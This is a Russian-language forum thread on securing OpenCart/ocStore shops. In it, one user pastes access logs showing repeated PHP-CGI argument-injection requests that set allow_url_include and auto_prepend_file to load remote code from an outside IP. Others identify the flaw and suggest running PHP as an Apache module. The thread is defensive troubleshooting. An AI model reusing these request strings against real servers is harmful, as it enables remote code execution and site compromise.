Помощь Уязвимость Opencart

[Alex Kross]

На оф.сайте по таким ключевым словам как: admin или security можно найти несколько толковых и готовых решений. Есть платные, зато надежно - некоторые из них можно найти в свободном доступе и не нужно изобретать велосипед.

 

[limon77]

На оф.сайте по таким ключевым словам как: admin или security можно найти несколько толковых и готовых решений. Есть платные, зато надежно - некоторые из них можно найти в свободном доступе и не нужно изобретать велосипед.

напишите пожалуйста название платных предложений

 

[valekor]

Блокировать по IP нужно вход в админку.

А если IP динамический? Не подойдет получается такой вариант?

 

[Alex Kross]

напишите пожалуйста название платных предложений

Например

 

[limon77]

Например

это то что есть на просторах интернета или то что уже проверено вами в работе?
их рекомендуется все устанавливать или может возникнуть конфликт между модулями?
спасибо за помощь

 

[Searching Man]

А если IP динамический? Не подойдет получается такой вариант?

Да, конечно , с динамическим не подойдет.
Хотя если сначала установить IP , н-р, через админку хостера , а затем войти в админку.
Да небольшой геморрой , но ....
Некоторые хостеры присылали в ультимативном виде использовать такой способ. Правда там был движок WP.
Мотивируя это тем, что это самый эффективный способ.

 

[асс]

Мужики, вчера поставил на новый домен скрипт ocStore-1.5.4.1.2
щас глянул логи на сайте, растолкуйте что это за фигня. сайт пока еще пустой.

Спойлер

216.12.80.153 - - [31/Aug/2013:01:43:41 +0400] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt HTTP/1.0" 301 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:43:41 +0400] "GET /index.php?route=common/home&-dsafe_mode=Off_-ddisable_functions=NULL_-dallow_url_fopen=On_-dallow_url_include=On_-dauto_prepend_file=Для просмотра ссылки Войди или Зарегистрируйся HTTP/1.0" 200 10631 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:44:49 +0400] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt HTTP/1.0" 301 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:44:50 +0400] "GET /index.php?route=common/home&-dsafe_mode=Off_-ddisable_functions=NULL_-dallow_url_fopen=On_-dallow_url_include=On_-dauto_prepend_file=Для просмотра ссылки Войди или Зарегистрируйся HTTP/1.0" 200 10631 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:45:57 +0400] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt HTTP/1.0" 301 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:45:58 +0400] "GET /index.php?route=common/home&-dsafe_mode=Off_-ddisable_functions=NULL_-dallow_url_fopen=On_-dallow_url_include=On_-dauto_prepend_file=Для просмотра ссылки Войди или Зарегистрируйся HTTP/1.0" 200 10631 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:47:05 +0400] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt HTTP/1.0" 301 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:47:05 +0400] "GET /index.php?route=common/home&-dsafe_mode=Off_-ddisable_functions=NULL_-dallow_url_fopen=On_-dallow_url_include=On_-dauto_prepend_file=Для просмотра ссылки Войди или Зарегистрируйся HTTP/1.0" 200 10631 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:48:13 +0400] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt HTTP/1.0" 301 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:48:13 +0400] "GET /index.php?route=common/home&-dsafe_mode=Off_-ddisable_functions=NULL_-dallow_url_fopen=On_-dallow_url_include=On_-dauto_prepend_file=Для просмотра ссылки Войди или Зарегистрируйся HTTP/1.0" 200 10631 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:49:24 +0400] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt HTTP/1.0" 301 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:49:24 +0400] "GET /index.php?route=common/home&-dsafe_mode=Off_-ddisable_functions=NULL_-dallow_url_fopen=On_-dallow_url_include=On_-dauto_prepend_file=Для просмотра ссылки Войди или Зарегистрируйся HTTP/1.0" 200 10631 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:50:42 +0400] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt HTTP/1.0" 301 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:50:42 +0400] "GET /index.php?route=common/home&-dsafe_mode=Off_-ddisable_functions=NULL_-dallow_url_fopen=On_-dallow_url_include=On_-dauto_prepend_file=Для просмотра ссылки Войди или Зарегистрируйся HTTP/1.0" 200 10631 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:51:50 +0400] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt HTTP/1.0" 301 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:51:50 +0400] "GET /index.php?route=common/home&-dsafe_mode=Off_-ddisable_functions=NULL_-dallow_url_fopen=On_-dallow_url_include=On_-dauto_prepend_file=Для просмотра ссылки Войди или Зарегистрируйся HTTP/1.0" 200 10631 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:52:58 +0400] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt HTTP/1.0" 301 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:52:58 +0400] "GET /index.php?route=common/home&-dsafe_mode=Off_-ddisable_functions=NULL_-dallow_url_fopen=On_-dallow_url_include=On_-dauto_prepend_file=Для просмотра ссылки Войди или Зарегистрируйся HTTP/1.0" 200 10631 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:54:06 +0400] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt HTTP/1.0" 301 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:54:07 +0400] "GET /index.php?route=common/home&-dsafe_mode=Off_-ddisable_functions=NULL_-dallow_url_fopen=On_-dallow_url_include=On_-dauto_prepend_file=Для просмотра ссылки Войди или Зарегистрируйся HTTP/1.0" 200 10631 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:55:14 +0400] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt HTTP/1.0" 301 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:55:15 +0400] "GET /index.php?route=common/home&-dsafe_mode=Off_-ddisable_functions=NULL_-dallow_url_fopen=On_-dallow_url_include=On_-dauto_prepend_file=Для просмотра ссылки Войди или Зарегистрируйся HTTP/1.0" 200 10631 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:56:23 +0400] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F61.19.253.26%2Fecho.txt HTTP/1.0" 301 - "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
216.12.80.153 - - [31/Aug/2013:01:56:23 +0400] "GET /index.php?route=common/home&-dsafe_mode=Off_-ddisable_functions=NULL_-dallow_url_fopen=On_-dallow_url_include=On_-dauto_prepend_file=Для просмотра ссылки Войди или Зарегистрируйся HTTP/1.0" 200 10631 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20100101 Firefox/23.0"
198.186.192.44 - - [31/Aug/2013:06:01:43 +0400] "GET / HTTP/1.0" 200 780 "-" "

-"

 

[dell2201]

url_include Уязвимость PHP в режиме CGI

 

[асс]

url_include Уязвимость PHP в режиме CGI

А подскажите как лечить? И получиться ли в ISP панели переключить режим CGI На Апач ?

 

[Searching Man]

А подскажите как лечить? И получиться ли в ISP панели переключить режим CGI На Апач ?

Лучше переключиться на работу php , как модуля Apache.